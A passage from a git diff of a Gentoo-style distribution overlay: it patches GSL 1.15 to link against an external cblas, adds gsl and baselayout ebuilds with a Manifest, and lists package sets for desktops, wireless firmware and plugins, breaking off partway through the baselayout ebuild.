../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la + + #demo_SOURCES = demo.c +-#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la ++#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la + +diff -Nur gsl-1.15.orig/multimin/Makefile.am gsl-1.15/multimin/Makefile.am +--- gsl-1.15.orig/multimin/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multimin/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -13,8 +13,8 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c test_funcs.c test_funcs.h +-test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + #demo_SOURCES = demo.c +-#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + +diff -Nur gsl-1.15.orig/multiroots/Makefile.am gsl-1.15/multiroots/Makefile.am +--- gsl-1.15.orig/multiroots/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multiroots/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -15,5 +15,5 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c test_funcs.c test_funcs.h +-test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + +diff -Nur gsl-1.15.orig/ode-initval/Makefile.am gsl-1.15/ode-initval/Makefile.am +--- gsl-1.15.orig/ode-initval/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/ode-initval/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/poly/Makefile.am gsl-1.15/poly/Makefile.am +--- gsl-1.15.orig/poly/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/poly/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-check_PROGRAMS = test ++#check_PROGRAMS = test + + test_SOURCES = test.c + test_LDADD = libgslpoly.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la +diff -Nur gsl-1.15.orig/specfunc/Makefile.am gsl-1.15/specfunc/Makefile.am +--- gsl-1.15.orig/specfunc/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/specfunc/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + check_PROGRAMS = test + +-test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test_sf.c test_sf.h test_airy.c test_bessel.c test_coulomb.c test_dilog.c test_gamma.c test_hyperg.c test_legendre.c test_mathieu.c + +diff -Nur gsl-1.15.orig/wavelet/Makefile.am gsl-1.15/wavelet/Makefile.am +--- gsl-1.15.orig/wavelet/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/wavelet/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslwavelet.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslwavelet.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + diff --git a/sci-libs/gsl/gsl-1.15.ebuild b/sci-libs/gsl/gsl-1.15.ebuild new file mode 100644 index 00000000..ef216e67 --- /dev/null +++ b/sci-libs/gsl/gsl-1.15.ebuild @@ -0,0 +1,109 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils flag-o-matic autotools toolchain-funcs + +DESCRIPTION="The GNU Scientific Library" +HOMEPAGE="http://www.gnu.org/software/gsl/" +SRC_URI="mirror://gnu/${PN}/${P}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~x86-interix ~amd64-linux ~x86-linux ~x86-macos ~sparc-solaris ~x86-solaris" +IUSE="cblas-external static-libs" + +RDEPEND="cblas-external? ( virtual/cblas )" +DEPEND="${RDEPEND} + app-admin/eselect-cblas + virtual/pkgconfig" + +DOCS=( AUTHORS BUGS ChangeLog NEWS README THANKS TODO ) + +pkg_pretend() { + if [[ ${MERGE_TYPE} != binary ]]; then + # prevent to use external cblas from a previously installed gsl + local current_lib + if use cblas-external; then + current_lib=$(eselect cblas show | cut -d' ' -f2) + if [[ ${current_lib} == gsl ]]; then + ewarn "USE flag cblas-external is set: linking gsl with an external cblas." + ewarn "However the current selected external cblas is gsl." + ewarn "Please install and/or eselect another cblas" + die "Circular gsl dependency" + fi + fi + fi +} + +pkg_setup() { + ESELECT_PROF="gsl" + + if [[ ${MERGE_TYPE} != binary ]]; then + # bug 349005 + [[ $(tc-getCC)$ == *gcc* ]] && \ + [[ $(tc-getCC)$ != *apple* ]] && \ + [[ $(gcc-major-version)$(gcc-minor-version) -eq 44 ]] \ + && filter-mfpmath sse + filter-flags -ffast-math + fi +} + +src_prepare() { + epatch "${FILESDIR}"/${P}-cblas.patch + eautoreconf + + cp "${FILESDIR}"/eselect.cblas.gsl "${T}"/ + sed -i -e "s:/usr:${EPREFIX}/usr:" "${T}"/eselect.cblas.gsl || die + if [[ ${CHOST} == *-darwin* ]] ; then + sed -i -e 's/\.so\([\.0-9]\+\)\?/\1.dylib/g' \ + "${T}"/eselect.cblas.gsl || die + fi +} + +src_configure() { + if use cblas-external; then + export CBLAS_LIBS="$($(tc-getPKG_CONFIG) --libs cblas)" + export CBLAS_CFLAGS="$($(tc-getPKG_CONFIG) --cflags cblas)" + fi + econf \ + --enable-shared \ + $(use_with cblas-external cblas) \ + $(use_enable static-libs static) +} + +src_install() { + default + + find "${ED}" -name '*.la' -exec rm -f {} + + + # take care of pkgconfig file for cblas implementation. + sed -e "s/@LIBDIR@/$(get_libdir)/" \ + -e "s/@PV@/${PV}/" \ + -e "/^prefix=/s:=:=${EPREFIX}:" \ + -e "/^libdir=/s:=:=${EPREFIX}:" \ + "${FILESDIR}"/cblas.pc.in > cblas.pc \ + || die "sed cblas.pc failed" + insinto /usr/$(get_libdir)/blas/gsl + doins cblas.pc || die "installing cblas.pc failed" + eselect cblas add $(get_libdir) "${T}"/eselect.cblas.gsl \ + ${ESELECT_PROF} +} + +pkg_postinst() { + local p=cblas + local current_lib=$(eselect ${p} show | cut -d' ' -f2) + if [[ ${current_lib} == ${ESELECT_PROF} || -z ${current_lib} ]]; then + # work around eselect bug #189942 + local configfile="${EROOT}"/etc/env.d/${p}/$(get_libdir)/config + [[ -e ${configfile} ]] && rm -f ${configfile} + eselect ${p} set ${ESELECT_PROF} + elog "${p} has been eselected to ${ESELECT_PROF}" + else + elog "Current eselected ${p} is ${current_lib}" + elog "To use ${p} ${ESELECT_PROF} implementation, you have to issue (as root):" + elog "\t eselect ${p} set ${ESELECT_PROF}" + fi +} diff --git a/sci-libs/gsl/metadata.xml b/sci-libs/gsl/metadata.xml new file mode 100644 index 00000000..7ab2ed03 --- /dev/null +++ b/sci-libs/gsl/metadata.xml @@ -0,0 +1,22 @@ + + + + sci + + The GNU Scientific Library (GSL) is a collection of routines for + numerical analysis. The routines are written from scratch by the GSL + team in C, and present a modern API for C programmers, while allowing + wrappers to be written for very high level languages. + + GSL includes data types and routines for complex numbers, vectors, + matrices, basic linear algebra subroutines (BLAS), eigensystems, + simulated annealing, minimization, root finding, pseudo-random + numbers, least-squares fitting, fast Fourier transforms (FFT), + differential equations, quadrature, Monte Carlo integration, special + functions, physical constants, and much more. + + + Link gsl with external cblas provided by + (virtual/cblas) instead of shipped internal version + + diff --git a/sets/X b/sets/X new file mode 100644 index 00000000..1ada000f --- /dev/null +++ b/sets/X @@ -0,0 +1,46 @@ +sys-apps/gpu-detector +x11-apps/setxkbmap +x11-apps/xdm +x11-apps/xhost +x11-base/xorg-server +x11-drivers/xf86-input-acecad +x11-drivers/xf86-input-aiptek +x11-drivers/xf86-input-evdev +x11-drivers/xf86-input-joystick +x11-drivers/xf86-input-mtrack +x11-drivers/xf86-input-mutouch +x11-drivers/xf86-input-synaptics +x11-drivers/xf86-input-vmmouse +x11-drivers/xf86-input-void +x11-drivers/xf86-input-wacom +x11-drivers/xf86-video-apm +x11-drivers/xf86-video-ark +x11-drivers/xf86-video-ast +x11-drivers/xf86-video-ati +x11-drivers/xf86-video-cirrus +x11-drivers/xf86-video-dummy +x11-drivers/xf86-video-fbdev +x11-drivers/xf86-video-glint +x11-drivers/xf86-video-i128 +x11-drivers/xf86-video-i740 +x11-drivers/xf86-video-intel +x11-drivers/xf86-video-mach64 +x11-drivers/xf86-video-mga +x11-drivers/xf86-video-nouveau +x11-drivers/xf86-video-nv +x11-drivers/xf86-video-openchrome +x11-drivers/xf86-video-qxl +x11-drivers/xf86-video-r128 +x11-drivers/xf86-video-s3 +x11-drivers/xf86-video-s3virge +x11-drivers/xf86-video-savage +x11-drivers/xf86-video-siliconmotion +x11-drivers/xf86-video-sis +x11-drivers/xf86-video-sisusb +x11-drivers/xf86-video-tdfx +x11-drivers/xf86-video-tga +x11-drivers/xf86-video-trident +x11-drivers/xf86-video-v4l +x11-drivers/xf86-video-vesa +x11-drivers/xf86-video-vmware +x11-drivers/xf86-video-voodoo diff --git a/sets/claws-plugins b/sets/claws-plugins new file mode 100644 index 00000000..b555836e --- /dev/null +++ b/sets/claws-plugins @@ -0,0 +1,17 @@ +mail-client/claws-mail-acpi-notifier +mail-client/claws-mail-archive +mail-client/claws-mail-att-remover +mail-client/claws-mail-attachwarner +mail-client/claws-mail-fancy +mail-client/claws-mail-fetchinfo +mail-client/claws-mail-gtkhtml +mail-client/claws-mail-mailmbox +mail-client/claws-mail-newmail +mail-client/claws-mail-notification +mail-client/claws-mail-perl +mail-client/claws-mail-python +mail-client/claws-mail-rssyl +mail-client/claws-mail-spam-report +mail-client/claws-mail-tnef-parse +mail-client/claws-mail-vcalendar +x11-themes/claws-mail-themes diff --git a/sets/e17 b/sets/e17 new file mode 100644 index 00000000..3060a8ec --- /dev/null +++ b/sets/e17 @@ -0,0 +1,4 @@ +lxde-base/lxdm +x11-wm/enlightenment:0.17 +app-misc/rogentos-skel +media-plugins/alsa-plugins diff --git a/sets/entropy b/sets/entropy new file mode 100644 index 00000000..9f6289b6 --- /dev/null +++ b/sets/entropy @@ -0,0 +1,11 @@ +app-misc/magneto-loader +app-admin/rigo +app-admin/equo +kde-misc/magneto-kde +sys-apps/entropy +sys-apps/magneto-core +sys-apps/entropy-server +app-admin/matter +sys-apps/rigo-daemon +x11-misc/magneto-gtk +x11-misc/magneto-gtk3 diff --git a/sets/entropy-no-kde b/sets/entropy-no-kde new file mode 100644 index 00000000..161527c2 --- /dev/null +++ b/sets/entropy-no-kde @@ -0,0 +1,10 @@ +app-misc/magneto-loader +app-admin/rigo +app-admin/equo +sys-apps/entropy +sys-apps/magneto-core +sys-apps/entropy-server +app-admin/matter +sys-apps/rigo-daemon +x11-misc/magneto-gtk +x11-misc/magneto-gtk3 diff --git a/sets/fluxbox b/sets/fluxbox new file mode 100644 index 00000000..0d7b6b69 --- /dev/null +++ b/sets/fluxbox @@ -0,0 +1,3 @@ +@X +x11-wm/fluxbox +media-gfx/feh diff --git a/sets/gnome b/sets/gnome new file mode 100644 index 00000000..3b653202 --- /dev/null +++ b/sets/gnome @@ -0,0 +1,15 @@ +app-arch/file-roller +app-cdr/brasero +app-misc/rogentos-skel +app-text/evince +gnome-base/gdm +gnome-base/gnome +gnome-base/gnome-shell +gnome-extra/nm-applet +gnome-extra/gnome-media +mail-client/evolution +media-gfx/eog +media-video/totem +@X +x11-apps/xdm +x11-themes/kogaion-artwork-gnome diff --git a/sets/gst-plugins b/sets/gst-plugins new file mode 100644 index 00000000..51979dd2 --- /dev/null +++ b/sets/gst-plugins @@ -0,0 +1,7 @@ +media-plugins/gst-plugins-assrender +media-plugins/gst-plugins-cdio +media-plugins/gst-plugins-faac +media-plugins/gst-plugins-mpeg2dec +media-plugins/gst-plugins-mplex +media-plugins/gst-plugins-x264 +media-plugins/gst-plugins-xvid diff --git a/sets/gst-plugins-extra b/sets/gst-plugins-extra new file mode 100644 index 00000000..43ab5dce --- /dev/null +++ b/sets/gst-plugins-extra @@ -0,0 +1,5 @@ +media-plugins/gst-plugins-dvdread +media-plugins/gst-plugins-dts +media-libs/gst-plugins-good +media-plugins/gst-plugins-pulse +media-plugins/gst-plugins-soup diff --git a/sets/ime-fonts b/sets/ime-fonts new file mode 100644 index 00000000..e105ee12 --- /dev/null +++ b/sets/ime-fonts @@ -0,0 +1,4 @@ +# See Sabayon bug 2518 +media-fonts/arphicfonts +media-fonts/vlgothic +media-fonts/ja-ipafonts diff --git a/sets/ime-fonts-support b/sets/ime-fonts-support new file mode 100644 index 00000000..83984762 --- /dev/null +++ b/sets/ime-fonts-support @@ -0,0 +1,7 @@ +# Also see Sabayon bug 2518 +app-i18n/ibus-anthy +app-i18n/ibus-hangul +app-i18n/ibus-m17n +app-i18n/ibus-pinyin + +# For KDE/Qt users, app-i18n/ibus-qt could be provided diff --git a/sets/intel-kernels b/sets/intel-kernels new file mode 100644 index 00000000..3e4064bf --- /dev/null +++ b/sets/intel-kernels @@ -0,0 +1,4 @@ +sys-kernel/ec2-sources +sys-kernel/linux-ec2 +sys-kernel/linux-sabayon +sys-kernel/sabayon-sources diff --git a/sets/lxde b/sets/lxde new file mode 100644 index 00000000..c41fa8c8 --- /dev/null +++ b/sets/lxde @@ -0,0 +1,5 @@ +app-misc/rogentos-skel +lxde-base/lxdm +lxde-base/lxde-meta +@wireless +@X diff --git a/sets/packagekit b/sets/packagekit new file mode 100644 index 00000000..f82e44ab --- /dev/null +++ b/sets/packagekit @@ -0,0 +1,4 @@ +app-admin/packagekit-base +app-admin/packagekit-qt4 +app-admin/packagekit-gtk +app-admin/packagekit diff --git a/sets/rogentos-artwork b/sets/rogentos-artwork new file mode 100644 index 00000000..b01485d0 --- /dev/null +++ b/sets/rogentos-artwork @@ -0,0 +1,8 @@ +x11-themes/kogaion-artwork-core +x11-themes/rogentos-artwork-extra +x11-themes/kogaion-artwork-gnome +x11-themes/rogentos-artwork-grub +x11-themes/rogentos-artwork-isolinux +x11-themes/kogaion-artwork-kde +x11-themes/kogaion-artwork-loo +x11-themes/kogaion-artwork-lxde diff --git a/sets/wireless b/sets/wireless new file mode 100644 index 00000000..33e4a492 --- /dev/null +++ b/sets/wireless @@ -0,0 +1,12 @@ +sys-firmware/b43-firmware +net-wireless/b43-fwcutter +net-wireless/bcm43xx-fwcutter +net-wireless/broadcom-sta +sys-firmware/ipw2100-firmware +sys-firmware/ipw2200-firmware +net-wireless/ndiswrapper +sys-firmware/zd1201-firmware +sys-firmware/zd1211-firmware +net-wireless/wireless-tools +sys-apps/usb_modeswitch +sys-kernel/linux-firmware diff --git a/sets/xfce b/sets/xfce new file mode 100644 index 00000000..7d853c24 --- /dev/null +++ b/sets/xfce @@ -0,0 +1,10 @@ +@wireless +@X +app-editors/leafpad +app-misc/rogentos-skel +media-plugins/alsa-plugins +x11-themes/elementary-icon-theme +xfce-base/xfce4-meta +xfce-base/xfce4-appfinder +xfce-extra/xfce4-power-manager +xfce-extra/xfce4-taskmanager diff --git a/sys-apps/baselayout/Manifest b/sys-apps/baselayout/Manifest new file mode 100644 index 00000000..3ec3151d --- /dev/null +++ b/sys-apps/baselayout/Manifest @@ -0,0 +1,11 @@ +AUX baselayout-1.12.14-iproute.patch 633 SHA256 d30480e75024953ac64a51cf7a3d54f4f975470219da2cec9ad0832b5ff6eff9 SHA512 4c8f177971d6e65b8a0d55c5b8a045f4277637e97b41a07b3a332adca2720c929c4b44ad29a59d2ad4ec521924711c8f82742ec68bc3f0b54791b38a21b2bce4 WHIRLPOOL 695d8720650571a1f49678d38be713f94d9d318f5522609bce09872d587da7b13e89d702e0a4e77072fe9f6a677bc6d8c5e818584876afe57c286c5454fe0781 +AUX baselayout-2.0.1-proc_touch.patch 528 SHA256 5c8108347da5881ba982a4c8831b846393d6c6928d6497f021633e45d6f3ab39 SHA512 c60bb20a2bf93741170d15d62b33d46284b92b2442977fe41db68e874c7f02a466a00c3f65f4e06db57598487dcc5827536afb52375a8d821ef148babb25b247 WHIRLPOOL 04d2980060c7ea1f4a101411b0bcd065009c9fe36261f214bfc52009c36092ad50819fe0b433c04b212699a6b94c7bf57ada9fd743abf35631e11ccae3c301b2 +AUX baselayout-2.0.3-slash-run-dir.patch 273 SHA256 7c797e35a721250a8961c10efeb1495fbdd759358d9b6084504ce4b47d8e4d2b SHA512 f1e01da181faafdbe660b9afc442d2d1f6650064fb15f94340ec43750e45fa3ff1179730cd1b81e591f03a82e8c45d2402bc23ac2310ef0ebb6bc762270d8a0b WHIRLPOOL ef17a9d7a90fd6be7108d316a57265cd38f2f52fd134ec37ba7328119ca1d17ac842ab9065bca4c9b21d4a552768e754c1badd69c8a568221924e0055b3eff24 +AUX baselayout-rogentos-os-release.patch 486 SHA256 5fae994ba07fd294b92c554bc901935f512b6bec99697520d7a961af48d90208 SHA512 ab6ce0ff4c942aa3d60dbab9c2013633a3162ab0707f38d7ad72c4c8d7349cf6d804eca40276ab162f745d206d04ae0eb45bda0a0f29d35aa2f86bc675427081 WHIRLPOOL 6fc230172fb907223d3f2ee297b1c3e4c36dfd7d6a17a947207ad10559475c4c9565cd1afa118c2c775b14f727157892027d78a55441ad2e33ea97bf89fee2a0 +DIST baselayout-2.0.3.tar.bz2 39969 SHA256 879308781d845f467eb2b45b9ff006aa799e943f45ddba518f43acae1ec84bdd +DIST baselayout-2.1.tar.bz2 40398 SHA256 2ac6f2156513a2820a0eeeecc2cf7e7c0b5e0c750b324f1e21912d5f3cda4956 +DIST baselayout-2.2.tar.bz2 40744 SHA256 11d4a223b06da545c3e59e07c9195570f334b5b1be05d995df0ebc8ea2203e98 SHA512 a5199c42e835d9f2683cc94f3c4c47ecdc392316c24e0932845736e2e90479b0c5c8ad72ead8e0537f097405b7d7548d00b87b7ff8c9e3651486e3c5c0970b36 WHIRLPOOL 60cc4f7f76c5a45c15303e526decffb3bad2b50ac659b1dd072d2ed4b0eb0b31929a1a733ddb03a31ee5882b889a4efb87206f63ffaa2b11e26d36afd0933a95 +EBUILD baselayout-2.0.3-r1.ebuild 8324 SHA256 67512c59427896fa6801f7c410b6948af0fc5368994e78f8dfc3d7515cd41c44 SHA512 d1cef6c0226daf4ffea851b0a5d3e03215cc99d7f5bbe023f61f21dc2fe5ca88d236f75e9ba21c03f94c70ba3f821b1551bea4ee4b5e71dc31d21fddd078c9f6 WHIRLPOOL 4e490c6ba6945a73dc50c5d6f04861cb648f82b5b9bbbd702f4eafed511e44b7322856ed20bf4f3adf83910144d2cd6322bfcd1dc9715daaab8a4695523f62ee +EBUILD baselayout-2.1.ebuild 8703 SHA256 f3e2bda1c1a7c805f7b0093107abcc3357362627e9110ee1eb9b6804b8e90b31 SHA512 44c3de65a97cd0f9d3cfec4944d88033d7a12d30e79c6d9e7836b3816001acd7703a36dacf75bb6e58a579951b1af80dccca322853d614c1d50274429fb3c4e5 WHIRLPOOL 69f10d3cc403e3d49d9555b855de575d8474aa6b0c1a0c7cd63dd7f5ac7bc84460dfbb3382b315549e8c0e1df79522c2161df9af0429815da129d2ad78e7f58d +EBUILD baselayout-2.2.ebuild 9132 SHA256 2317988157c8a373747300c0598952dce05eab60d4f85c80e14e268129a4f625 SHA512 9a825db62673c2af8036c650edf893b53af3ba4eab9c409acb24b57dfb0941c1348eaec30d59e3855c7b4b6e81a07d4623a4d866c3ff192c24b99cc7fb2391b0 WHIRLPOOL 902c2b43e2146125838f657023148e9a642c20686f523995d4f879e659cf4e1ae84feeecc6b2b61e22c83eb498ee68ab71ab18b1873b5de2d58bb6cd2e475ebe +MISC metadata.xml 164 SHA256 f5f2891f2a4791cd31350bb2bb572131ad7235cd0eeb124c9912c187ac10ce92 SHA512 8eb0d5153d388f6ea069c64b93882244816a0a09aecc0d73cb872121ce0eb24c5ccafa96aad0b620b2300f319e1af101fa7fa6c5d0d561719d49bb07da0a2eca WHIRLPOOL 11a1441bddb7a6c69653c663902b7da5767ae6ad515ac2aabfc42fe37927a1ccc21472deeee454009ff720201a41c3e4a912df42661a0a87150fb46126da2d52 diff --git a/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild b/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild new file mode 100644 index 00000000..71f0cd6d --- /dev/null +++ b/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild @@ -0,0 +1,243 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.0.3.ebuild,v 1.4 2011/07/02 18:26:47 williamh Exp $ + +inherit eutils multilib + +DESCRIPTION="Filesystem baselayout and init scripts" +HOMEPAGE="http://www.gentoo.org/" +SRC_URI="mirror://gentoo/${P}.tar.bz2 + http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~sparc-fbsd ~x86-fbsd" +IUSE="build kernel_linux" + +PDEPEND="sys-apps/openrc" + +pkg_preinst() { + # Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of + # the baselayout-1.x ebuild copies all the real configs from the user's + # /etc/conf.d into ${D}, it makes them all appear to be the default + # versions. In order to protect them from being unmerged after this + # upgrade, modify their timestamps. + touch "${ROOT}"/etc/conf.d/* 2>/dev/null + + # This is written in src_install (so it's in CONTENTS), but punt all + # pending updates to avoid user having to do etc-update (and make the + # pkg_postinst logic simpler). + rm -f "${ROOT}"/etc/._cfg????_gentoo-release + + # We need to install directories and maybe some dev nodes when building + # stages, but they cannot be in CONTENTS. + # Also, we cannot reference $S as binpkg will break so we do this. + if use build ; then + local libdirs="$(get_all_libdirs)" dir= + # Create our multilib dirs - the Makefile has no knowledge of this + : ${libdirs:=lib} # it isn't that we don't trust multilib.eclass... + for dir in ${libdirs}; do + mkdir -p "${ROOT}${dir}" + touch "${ROOT}${dir}"/.keep + mkdir -p "${ROOT}usr/${dir}" + touch "${ROOT}usr/${dir}"/.keep + mkdir -p "${ROOT}usr/local/${dir}" + touch "${ROOT}usr/local/${dir}"/.keep + done + + # Create symlinks for /lib, /usr/lib, and /usr/local/lib and + # merge contents of duplicate directories if necessary. + # Only do this when $ROOT != / since it should only be necessary + # when merging to an empty $ROOT, and it's not very safe to perform + # this operation when $ROOT = /. + if [ "${SYMLINK_LIB}" = yes ] && [ "$ROOT" != / ] ; then + local prefix libabi=$(get_abi_LIBDIR $DEFAULT_ABI) + for prefix in "$ROOT"{,usr/,usr/local/} ; do + + [ ! -d "${prefix}lib" ] && rm -f "${prefix}lib" && \ + mkdir -p "${prefix}lib" + + [ ! -d "$prefix$libabi" ] && ln -sf "${prefix}lib" + + [ -h "$prefix$libabi" ] && [ -d "${prefix}lib" ] && \ + [ "$prefix$libabi" -ef "${prefix}lib" ] && continue + + local destdir=$prefix$libabi/ srcdir=${prefix}lib/ + + [ -d "$destdir" ] || die "unable to create '$destdir'" + [ -d "$srcdir" ] || die "unable to create $srcdir" + + mv -f "$srcdir".keep "$destdir".keep 2>/dev/null + if ! rmdir "$srcdir" 2>/dev/null ; then + ewarn "merging contents of '$srcdir' into '$destdir':" + + # Move directories if the dest doesn't exist. + find "$srcdir" -type d -print0 | \ + while read -d $'\0' src ; do + + # If a parent directory of $src has already + # been merged then it will no longer exist. + [ -d "$src" ] || continue + + dest=$destdir${src#${srcdir}} + if [ ! -d "$dest" ] ; then + if [ -e "$dest" ] ; then + ewarn " not overwriting file '$dest'" \ + "with directory '$src'" + continue + fi + mv -f "$src" "$dest" && \ + ewarn " /${src#${ROOT}} merged" || \ + ewarn " /${src#${ROOT}} not merged" + fi + done + + # Move non-directories. + find "$srcdir" ! -type d -print0 | \ + while read -d $'\0' src ; do + dest=$destdir${src#${srcdir}} + if [ -e "$dest" ] ; then + if [ -d "$dest" ] ; then + ewarn " not overwriting directory '$dest'" \ + "with file '$src'" + else + if [ -f "$src" -a ! -s "$src" ] && \ + [ -f "$dest" -a ! -s "$dest" ] ; then + # Ignore empty files such as '.keep'. + true + else + ewarn " not overwriting file '$dest'" \ + "with file '$src'" + fi + fi + continue + fi + + mv -f "$src" "$dest" 